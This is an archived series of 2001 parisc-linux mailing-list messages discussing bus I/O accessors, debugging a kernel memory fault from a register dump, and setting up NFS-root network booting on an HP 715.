Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id UAA14672;
	Tue, 17 Apr 2001 20:04:53 +0200
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Alan Cox's message of "Fri, 13 Apr 2001 19:11:52 +0100 (BST)"
Original-Lines: 20
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:10803

>>>>> "Alan" == Alan Cox <alan@lxorguk.ukuu.org.uk> writes:

>> Well time to go study the bus behaviors and compare them then. How
>> does gsc behave wrt cache coherency, read-around-write, write
>> ordering etc etc.

Alan> And ISA is noticable for the fact it doesnt behave quite like
Alan> PCI. You use readb/readw/readl on ISA.

Yes, except that ISA has stronger semantics than PCI.

>> Using writeb on a gsc is misleading everybody else who reads the
>> code into believing that it's a PCI device.

Alan> Rubbish.

Unfortunately not, look at the fb code to see the chaos.

Jes





From - Thu Nov 08 21:17:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: Tue, 17 Apr 2001 19:22:05 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20010417192205.A28724@parcelfarce.linux.theplanet.co.uk>
References: <E14o832-0003Ih-00@the-village.bc.nu> <d366g3xv0a.fsf@lxplus015.cern.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620040 17973 80.91.229.3 (22 Nov 2014 01:34:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:00 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	parisc-linux@parisc-linux.org
To: Jes Sorensen <jes@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 17 12:22:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C189482A
	for <parisc-linux@parisc-linux.org>; Tue, 17 Apr 2001 12:22:34 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14pa73-0003yT-00; Tue, 17 Apr 2001 19:22:05 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <d366g3xv0a.fsf@lxplus015.cern.ch>; from jes@linuxcare.com on Tue, Apr 17, 2001 at 08:04:53PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10804

On Tue, Apr 17, 2001 at 08:04:53PM +0200, Jes Sorensen wrote:
> >>>>> "Alan" == Alan Cox <alan@lxorguk.ukuu.org.uk> writes:
> 
> Yes, except that ISA has stronger semantics than PCI.

You need to issue a read after a write to be sure the write hit the
device on ISA?

> >> Using writeb on a gsc is misleading everybody else who reads the
> >> code into believing that it's a PCI device.
> 
> Alan> Rubbish.
> 
> Unfortunately not, look at the fb code to see the chaos.

huh?  the fb code is ugly precisely because people aren't using
readb/writeb to access device memory.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB cleanups
Date: Tue, 17 Apr 2001 20:57:37 +0100 (BST)
Lines: 10
Approved: news@gmane.org
Message-ID: <E14pbbX-00035t-00@the-village.bc.nu>
References: <20010417192205.A28724@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620041 17974 80.91.229.3 (22 Nov 2014 01:34:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:01 +0000 (UTC)
Cc: jes@linuxcare.com (Jes Sorensen),
	alan@lxorguk.ukuu.org.uk (Alan Cox), parisc-linux@parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 17 13:57:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EAFE482A
	for <parisc-linux@parisc-linux.org>; Tue, 17 Apr 2001 13:57:20 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14pbbX-00035t-00; Tue, 17 Apr 2001 20:57:39 +0100
In-Reply-To: <20010417192205.A28724@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Apr 17, 2001 07:22:05 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10805

> > Yes, except that ISA has stronger semantics than PCI.
> 
> You need to issue a read after a write to be sure the write hit the
> device on ISA?

In some cases yes.





From - Thu Nov 08 21:17:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Interesting problem concerning 7100LC vs 7100
Date: Tue, 17 Apr 2001 23:36:34 +0200
Organization: private
Lines: 329
Approved: news@gmane.org
Message-ID: <3ADCB762.6D60D408@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620041 17977 80.91.229.3 (22 Nov 2014 01:34:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:01 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 17 15:36:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from viemta06.chello.at (viemta06.chello.at [195.34.133.56])
	by dsl2.external.hp.com (Postfix) with ESMTP id 282C1482A
	for <parisc-linux@parisc-linux.org>; Tue, 17 Apr 2001 15:36:50 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta06.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010417213635.TDSH27182.viemta06@dot.at>
          for <parisc-linux@parisc-linux.org>;
          Tue, 17 Apr 2001 23:36:35 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10806

Hello !

After successful usage of the E55, I recompiled the linux kernel for the
7100LC instead of 7100 CPU.

At the second boot, I triggered an error in my pdc_drv.c (device driver
for
PDC console). After I fixed that, I saw following error output:

Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 196.1.1.20, my address is 196.1.1.100
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Looking up port of RPC 100003/2 on 196.1.1.20
Looking up port of RPC 100005/2 on 196.1.1.20
VFS: Mounted root (nfs filesystem) readonly.
command /sbin/init
modprobe: modprobe: Can't open dependencies file
/lib/modules/2.4.0/modules.dep (No such file or directory)
INIT: version 2.78 booting

Dumping Stack from 13f34000 to 13f34e00:
4000 00000000 00000040 00000000 00000001 102673e0 00000000 00000000
ffffffff
4020 00000005 00000000 00000000 100d3120 00000000 00000000 ffffffff
102672e0
4040 102672e0 000000e5 102b4000 100e4000 100d3120 1026a1e0 00000000
00000012
4060 00000000 00000000 80000000 00000009 00000000 00000000 00000000
00000009
4080 00000000 1007c000 1007c000 00000000 00000000 100e4000 13f34098
13f34098
40a0 00000000 102ce898 13f340a8 13f340a8 00000000 00000000 00000000
00000000
40c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
13f34000
40e0 1011baac 00000000 00000001 00000000 00000000 000000e5 00000002
0000004e
4100 00000001 00000000 00000000 00000000 00000000 00000000 80000000
00000000
4120 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
4140 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
4160 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
4180 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
41a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
41c0 fffffeff 00000000 ffffffff 00000000 1026802c ffffffff ffffffff
ffffffff
41e0 ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff
ffffffff
4200 ffffffff 000003ce 000003ce 00000400 00000400 ffffffff ffffffff
ffffffff
4220 ffffffff ffffffff ffffffff 0000696e 69740065 72000000 00000000
00000000
4240 00000000 00000000 00000000 00000000 00000000 00000000 0004000f
40147654
4260 400ef13f faf007d0 00000000 0000b268 faf00850 faf008d8 00000065
00000078
4280 0000b294 00000040 faf008d0 00000001 00000063 faf007b0 00000020
0000b270
42a0 faf00790 4014eb18 00000006 400474b8 00000000 00000008 00000000
faf00850
42c0 00000009 00009af8 40147654 0000b1a8 faf00a80 400ef127 00000000
00000000
42e0 00000000 00000000 00000000 00000000 00000000 00000000 10267010
00000001
4300 102bba96 00000004 102bba83 00000000 00000012 1026740c 10267010
00000000
4320 00000000 000000ff 00000040 00000180 00000000 000003a8 00000000
296b229a
4340 002bb4c0 10252010 00000000 00003fff 1007c7c0 00000040 000d081f
00000000
4360 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
4380 00000000 00000000 cccccccd 00000030 00000000 cccccccd 7fffffff
7fffffff
43a0 7f7fffff ffffffff 7f7fffff ffffffff 00000000 00000000 00000000
00000000
43c0 41800000 00000000 00000010 00000010 00000000 00000000 00000004
00000000
43e0 00000000 00000004 00000004 00000004 00000004 00000004 00000004
00000004
4400 400ef14b 400ef14f 00000006 13f34000 00000000 13f34540 10106cc8
0000000e
4420 0f9a1280 00000004 40147654 00000000 0026e000 00000000 100e91e0
100ea040
4440 100e2880 00020000 00000000 00000000 13f3444c 00000000 00000000
00000000
4460 00000000 00000000 00000000 00000000 00000001 00000001 00000000
00000000
4480 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
44a0 00000000 00000000 00000000 10106720 00000000 00000000 00000000
00000000
44c0 faf01558 00000020 400ef11c 00000000 00028148 00000020 4014eb18
faf01558
44e0 00028148 1007c000 1007c840 10106efc 00000000 00000000 00000000
00000000
4500 faf004d8 4013aa40 00000000 00000000 00000000 00000000 4001d000
00000003
4520 4014eb18 faf00548 00000000 1011b558 00000000 4014eb18 faf003c0
00000000
4540 1007ca00 00023b52 faf00850 0000b268 00000000 faf007d0 4014ba54
00000000
4560 faf00298 00000014 00000000 101223c0 4001d000 00001000 100d3120
00000000
4580 ffffffea 100ea040 00000000 100e1360 100ea040 00000000 100e1360
0000006d
45a0 ffffffea 100e1360 00000000 101026b8 100e1360 10073420 00000000
4014eb18
45c0 100e91e0 1022e000 102d1010 1022e000 1022e000 1022e000 13f34000
00000000
45e0 00000000 102d1010 4001d000 10120b00 100d15a0 00000000 100d3120
00000000
4600 1022e000 13f34000 13f34000 1022e000 1022e000 1022e000 13f34000
100d3120
4620 00000000 00000000 00000000 101153e4 0000006d 4001d000 100e0bf8
100e1360
4640 13f345c0 100d30a0 100d1520 100d3120 0000b294 00000078 00000065
faf008d8
4660 00000004 40147654 0000001a 13f34258 00000000 13f34000 00000003
100e91e0
4680 100d30a0 100d3120 00000000 100d3120 0000a000 faf00000 faf0a000
00000000
46a0 00000000 00000000 00000000 10101460 102d1010 0007ffff 00000000
100d3120
46c0 0000a000 faf00000 1007c000 100d1420 13f34258 13f34000 100d3120
100d313c
46e0 100d1360 00000020 0003aca0 101343a8 0000000f 00000011 13f348c0
00000000
4700 00000000 00000000 00000000 03fd4725 101399c8 00000000 0000ff00
102ce010
4720 1007c000 100d3120 13f34000 1012700c 100d3120 00000000 00000000
00000000
4740 00000040 0000001a 100d313c 40147654 00000001 100d1360 100d3120
ffffffff
4760 40147654 0000ff00 102b3810 102b4000 00000012 13f34000 1007c000
00000000
4780 00000000 00000000 00000000 00000000 101399c8 00000323 1022e800
1022e800
47a0 10000000 00000015 13f30fac 10126224 13f30fac 00000230 00000001
9999999a
47c0 0004e70f 00000027 101262bc 103ee500 13f30000 40147654 103ebc00
100d1360
47e0 03fd4725 102d1010 100d3120 13ed551c faf008d0 00000001 00000063
faf007b0
4800 13f34258 0000b270 faf00790 00000001 00000000 00000000 00000000
100203f0
4820 0000000e 13fd4640 13f30640 10252010 ffffffff 00000002 13f34a00
10132c94
4840 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
4860 10267010 00000001 102bba96 00000004 102bba83 00000000 00000012
1026740c
4880 10267010 00000000 00000000 000000ff 00000040 00000180 00000000
000003a8
48a0 00000000 296b229a 002bb4c0 10252010 00000000 00003fff 1007c7c0
00000040
48c0 000d081f 00000000 00000000 00000000 00000000 00000000 00000000
00000000
48e0 00000000 00000000 00000000 00000000 cccccccd 00000030 00000000
cccccccd
4900 7fffffff 7fffffff 7f7fffff ffffffff 7f7fffff ffffffff 00000000
00000000
4920 00000000 00000000 41800000 00000000 00000010 00000010 00000000
00000000
4940 00000004 00000000 00000000 00000004 00000000 00000000 00000000
00000000
4960 00000000 00000000 10101b18 10101b1c 00000006 00000000 00000000
00000000
4980 00000021 0000001f 6b560078 100d3120 100e4000 102ce010 00000133
100dded4
49a0 1003e624 102d1010 102d1010 1011cb6c 100dde40 00000000 00000003
100e91e0
49c0 00000000 101399c8 102d1010 0007ffff 100d1660 102bf810 102ce010
102ce820
49e0 102ce010 00000000 1026866c 1010624c 00000000 100dad38 13f34bc0
10219b1c
4a00 100d1360 103ebc00 40147654 13f30000 103ee500 103ebc00 40147654
13f30000
4a20 103ee500 00000000 00000000 10120210 00000000 00000000 00000000
00000000
4a40 00000001 00000001 13f34000 1004e4e0 1004e4e0 100ddfc0 100dde40
103ea1c0
4a60 13f349c8 00000001 00000000 1011c820 00000000 00000000 00000000
00000000
4a80 0000000c 102bfea0 00000001 00000001 13f30000 0000000f 102ce010
102bf810
4aa0 03fd4725 102d1010 100d3120 1011c9f4 faf008d0 00000001 00000063
faf007b0
4ac0 00000000 0000b270 faf00790 00000000 fffffffd 102ce7e0 101dbea4
00000001
4ae0 00050bfc 00000017 100251a0 1011cb6c 00000100 000003c0 13f34cc0
10103404
4b00 1004e800 00000000 00000000 00000000 00000000 00000000 00000000
00000000
4b20 10267010 00000001 102bba96 1011fb18 102bba83 00000000 00000012
1026740c
4b40 1004f640 1004e800 100df130 100df130 102ce010 102ce46c 00000000
000003a8
4b60 00000000 296b229a 002bb4c0 10252010 00000000 00003fff 1007c7c0
00000040
4b80 000d081f 00000000 00000000 00000000 00000000 00000000 00000000
00000000
4ba0 00000000 00000000 00000000 00000000 cccccccd 00000030 00000000
cccccccd
4bc0 0006000f 10267ff8 1011cc38 13f34b48 13f34b48 102ce820 102ce010
102bf810
4be0 03fd4725 102d1010 100d3120 13ed551c faf008d0 00000001 00000063
faf007b0
4c00 13f347c0 0000b270 faf00790 100df130 6f64652e 0000000f 6f64652e
102ce010
4c20 ffffffff 1004e800 0a7e7e3a 10252010 0000000f 0000000b 13f34e00
1011cc38
4c40 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
4c60 10267010 00000001 102bba96 00000004 102bba83 00000000 00000012
1026740c
4c80 10267010 00000000 00000000 000000ff 00000040 00000180 00000000
000003a8
4ca0 00000000 296b229a 002bb4c0 10252010 00000000 00003fff 1007c7c0
00000040
4cc0 000d081f 00000000 00000000 00000000 00000000 00000000 00000000
00000000
4ce0 00000000 00000000 00000000 00000000 cccccccd 00000030 00000000
cccccccd
4d00 7fffffff 7fffffff 7f7fffff ffffffff 7f7fffff ffffffff 00000000
00000000
4d20 00000000 00000000 41800000 00000000 00000010 00000010 00000000
00000000
4d40 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
4d60 00000000 00000000 6f64652e 6f646532 00000006 00000000 00000000
00000000
4d80 100e91e0 00000001 08190254 100dde40 100d15e0 102d1010 102d1010
13f34980
4da0 100251e0 00000002 10254380 10102ce8 102ce010 13f34980 00000057
10076228
4dc0 13f34a80 00000020 1025405c 00000000 00000000 10268694 03200801
007805fe
4de0 c4010164 c4010114 100f0080 10106720 c4010114 00000000 00000000
00000000

Bad Address (null pointer deref?): Code=6 regs=13f34bc0 (Addr=6f64652e)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001111
r0-3     00000000 10267ff8 1011cc38 13f34b48
r4-7     13f34b48 102ce820 102ce010 102bf810
r8-11    03fd4725 102d1010 100d3120 13ed551c
r12-15   faf008d0 00000001 00000063 faf007b0
r16-19   13f347c0 0000b270 faf00790 100df130
r20-23   6f64652e 0000000f 6f64652e 102ce010
r24-27   ffffffff 1004e800 0a7e7e3a 10252010
r28-31   0000000f 0000000b 13f34e00 1011cc38
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 6f64652e 6f646532
 IIR: 08190254    ISR: 100dde40  IOR: 100d15e0
ORIG_R28: 00000000


In `arch/parisc/mm/fault.c' a memory fault has occured. But how can
analyse
where. I am new to HP PA RISC (since Christmas...), but I have skills on
Intel
for such problems.

First of all the address in IAOQ is NOT one of the linux kernel, but how
can
I find out, from which process. We also do not fall in the

	if (!user_mode (...)) {
		:	
	}

branch, so it does not come from the kernel.

Is this correct in this code, that we fall through in the part ...

	bad_area:
		if (user_mode (...)) {
			:
			return;
		}

... if it is NOT user_mode to `no_context:' label ?

How can I read the stack dump. I think the current stack pointer
position is the
"last line" of the dump, and I guess `r30' is the stack pointer ?!?
In the disassemble code the register `sp' is used for the stack, is this
equal 
to `r30' ?

Where can the address 6f646532 or so can from. What address have the
processes
started on the command line or per kernel init, for example INIT with
pid=1.
I think, those addresses are generated at loading and not located fix,
correct ?

I hope, any can give me some hints to continue HP PARISC hacking.

----

I recompiled the kernel for the CPU 7100 again, and the problem was
gone....
Has the E55 (9000/856) a special bug, or do I trigger a special error
case
here, a race, an error in my console driver, or ......


With friendly regards

	Christoph Plattner



-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pete" <plaven@ozemail.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dumb question of the day
Date: Wed, 18 Apr 2001 21:02:52 +1000
Lines: 36
Approved: news@gmane.org
Message-ID: <3ADE00FC.9679.982D3D@localhost>
Reply-To: plaven@ozemail.com.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416620041 17980 80.91.229.3 (22 Nov 2014 01:34:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 18 05:03:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta04.mail.mel.aone.net.au (mta04.mail.au.uu.net [203.2.192.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id 062E2482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Apr 2001 05:03:05 -0600 (MDT)
Original-Received: from piglet.sspl.net.au ([210.84.112.25])
          by mta04.mail.mel.aone.net.au with ESMTP
          id <20010418110256.MONM316.mta04.mail.mel.aone.net.au@piglet.sspl.net.au>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 18 Apr 2001 21:02:56 +1000
Original-Received: from winnie.sspl.net.au (barbar@winnie. [192.168.10.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with ESMTP id VAA11341
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Apr 2001 21:02:51 +1000
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.12c)
Xref: news.gmane.org gmane.linux.ports.parisc:10807

Hi everyone,

I have a 715/64 that I'm trying to boot across the network.

I grabbed the latest base tar ball from the ftp server and 
uncompressed it. 

I grabbed rboot and set it up and didn't work, so I have set bootps 
and tftp according to the howto at http://www.oswg.org/oswg-
nightly/oswg/en_US.ISO_8859-1/articles/parisc-linux/parisc-linux-
boot.html  (very helpful too I might add)

from boot_admin I boot lan, I have tcpdump listening on eth1 where 
the hppa box is connected via aui/TP and UTP cross over.  I can 
see the broadcast and /var/log/messages shows that tftp is looking 
for iplboot, as copied from the tar ball boot dir.

The hp box fails with an error on the console (I have a vga screen 
on the box):

"ERROR: Cannot load IPL, error detected."

Since this is my first time with nfsbooting it's likely I'm not doing 
something right there, ie, I don't have /etc/exports setup.. should I 
od this?

Please, some short pointers for a dummy.. :)  I _so_ want to IRC 
on this box!!  :)

Thanks.

Pete.





From - Thu Nov 08 21:17:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NFS root setup question
Date: Wed, 18 Apr 2001 10:17:14 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <200104181617.KAA19403@puffin.external.hp.com>
References: <3ADE00FC.9679.982D3D@localhost>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620042 17997 80.91.229.3 (22 Nov 2014 01:34:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: plaven@ozemail.com.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 18 10:24:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8024B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Apr 2001 10:24:29 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA19403;
	Wed, 18 Apr 2001 10:17:14 -0600
In-Reply-To: Your message of "Wed, 18 Apr 2001 21:02:52 +1000."
             <3ADE00FC.9679.982D3D@localhost> 
Xref: news.gmane.org gmane.linux.ports.parisc:10808

"Pete" wrote:
> I have a 715/64 that I'm trying to boot across the network.
...
> The hp box fails with an error on the console (I have a vga screen 
> on the box):
> 
> "ERROR: Cannot load IPL, error detected."
> 
> Since this is my first time with nfsbooting it's likely I'm not doing 
> something right there, ie, I don't have /etc/exports setup.. should I 
> od this?

Yes. But you also need a *lifimage*.

I don't think matching lifimage's (matching the baseplus /boot/vmlinux)
where posted to the ftp site. I've posted a NFSROOT enabled lifimage for
a 32-bit/serial console (not STI enabled):
	ftp://puffin.external.hp.com/pub/parisc/binaries/lifimages/lifimage_32_serial_20010418.gz

Matching Systemp.map and vmlinux are in ../kernels directory.

For the 715's, append 'y' to the "boot lan y" in order to interactively
change the nfsroot= param (IP needs to point to the NFS server).
I don't recall if you need a different vmlinux embedded in the LIF or
if you can interactively tweak the palo boot params to use STI console
instead of serial.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Oliver Flimm <flimm@sigtrap.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dumb question of the day
Date: Wed, 18 Apr 2001 19:35:53 +0200
Organization: Friends of sigtraps, coredumps and segfaults
Lines: 173
Approved: news@gmane.org
Message-ID: <20010418193553.D772@sigtrap.de>
References: <3ADE00FC.9679.982D3D@localhost>
Reply-To: flimm@sigtrap.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620042 18016 80.91.229.3 (22 Nov 2014 01:34:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 18 11:36:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ksmail.netcologne.de (ksmail.netcologne.de [194.8.194.97])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3A31482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Apr 2001 11:36:02 -0600 (MDT)
Original-Received: from gandalf.sigtrap.de (dial-194-8-209-49.netcologne.de [194.8.209.49])
	by ksmail.netcologne.de (8.9.3/8.9.3) with ESMTP id TAA21831
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Apr 2001 19:35:53 +0200 (MET DST)
Original-Received: (from flimm@localhost)
	by gandalf.sigtrap.de (8.9.3/8.9.3/Debian 8.9.3-21) id TAA02911
	for parisc-linux@lists.parisc-linux.org; Wed, 18 Apr 2001 19:35:53 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3ADE00FC.9679.982D3D@localhost>; from plaven@ozemail.com.au on Wed, Apr 18, 2001 at 09:02:52PM +1000
X-URL: http://www.sigtrap.de/
X-PGP-Fingerprint: E5 FA 1F 7C F4 71 C6 E0  6A 3F B8 A7 85 A8 4D B0
Xref: news.gmane.org gmane.linux.ports.parisc:10809

Hi,

On Wed, Apr 18, 2001 at 09:02:52PM +1000, Pete wrote:
> I grabbed rboot and set it up and didn't work, so I have set bootps 
> and tftp according to the howto at http://www.oswg.org/oswg-
> nightly/oswg/en_US.ISO_8859-1/articles/parisc-linux/parisc-linux-
> boot.html  (very helpful too I might add)

hmm, very nice indeed.

> from boot_admin I boot lan, I have tcpdump listening on eth1 where 

Did you do a 'search' to get the correct lan boot path and then add it with
eg. path lan 192.168.2.1.3?

> the hppa box is connected via aui/TP and UTP cross over.  I can 
> see the broadcast and /var/log/messages shows that tftp is looking 
> for iplboot, as copied from the tar ball boot dir.

iplboot is only the file with the information about the bootsignature - the
bootloader (see below, its much too small for a Linux kernel), not the
kernel. palo needs this file and your out of the box (read: eg. compiled)
vmlinux to build a lifimage. That's the file you'll need as the bootable
kernel.

> The hp box fails with an error on the console (I have a vga screen 
> on the box):
> 
> "ERROR: Cannot load IPL, error detected."

I don't use the base tarball for netbooting just afterwards for the actual
installation on harddisk. Instead of this tarball I use the tarball
distributed via http://mkhppa1.esiee.fr/en/download.html
(fs_hd_20010320.tar.gz_global) for netbooting. But that's a historical
issue, everything should also work with the base tarball ;-)

So I don't know anything about the kernel in the base tarball. I use a
crosscompiler built from cvs to build a proper kernel capable of netbooting.
IIRC you have to compile the following options into the kernel:

root-nfs support
bootp support

and of course the other appropriate network drivers and options.

After compiling you'll get a vmlinux. This file isn't bootable because a
special bootsignature - the bootloader - is still lacking. To make the
kernel net-bootable you have to use palo with the following option set in
its Makefile:

NFSROOT = 192.168.2.1

(when 192.168.2.1 is the IP of the server that's providing the root-FS for
your HP9000).

With your crosscompiler environment correctly setup its just a matter of
'make xconfig;make dep;make clean;make palo'

As a result I get a lifimage, rename it to vmlinux and then use this file
for netbooting from /usr/tftpboot.

> Since this is my first time with nfsbooting it's likely I'm not doing 
> something right there, ie, I don't have /etc/exports setup.. should I 
> od this?

Yes, unless you want a nfsroot-boot without nfsroot ;-) And don't forget to
modify the following files in the nfs-root tree on your nfs-server (apart
from starting your nfs-server ;-):

/etc/inittab (as the files below its something like /usr/thisismyrootfs/etc/inittab) 

make sure you really have a getty waiting for you. I had a problem with this
once (possibly my own fault) but now I make sure each time.

/etc/fstab:

Insert the appropriate entry for your remote root-FS apart from a proc-entry, eg.

gandalf:/usr/tftpboot/boromir          /               nfs     defaults 0 0

Here gandalf is my nfs-root server and /usr/tftpboot/boromir is the toplevel
directory for the nfsroot tree of my 715/80 called boromir.

/etc/securetty:

Add 

ttyp0
ttyp1
ttyp2
ttyp3
ttyp4
ttyp5
ttyp6
ttyp7
ttyp8

when you want to do a telnet to your HP9000 (and your nfs-root provides a
telnet ;-). Some might consider this a security hole, but my machine is
secured from the internet, so I don't care ;-)

/etc/hosts:

Enter the IP and name of your HP9000 and your nfs-root server, eg:

127.0.0.1       localhost
192.168.2.8     boromir.sigtrap.de boromir
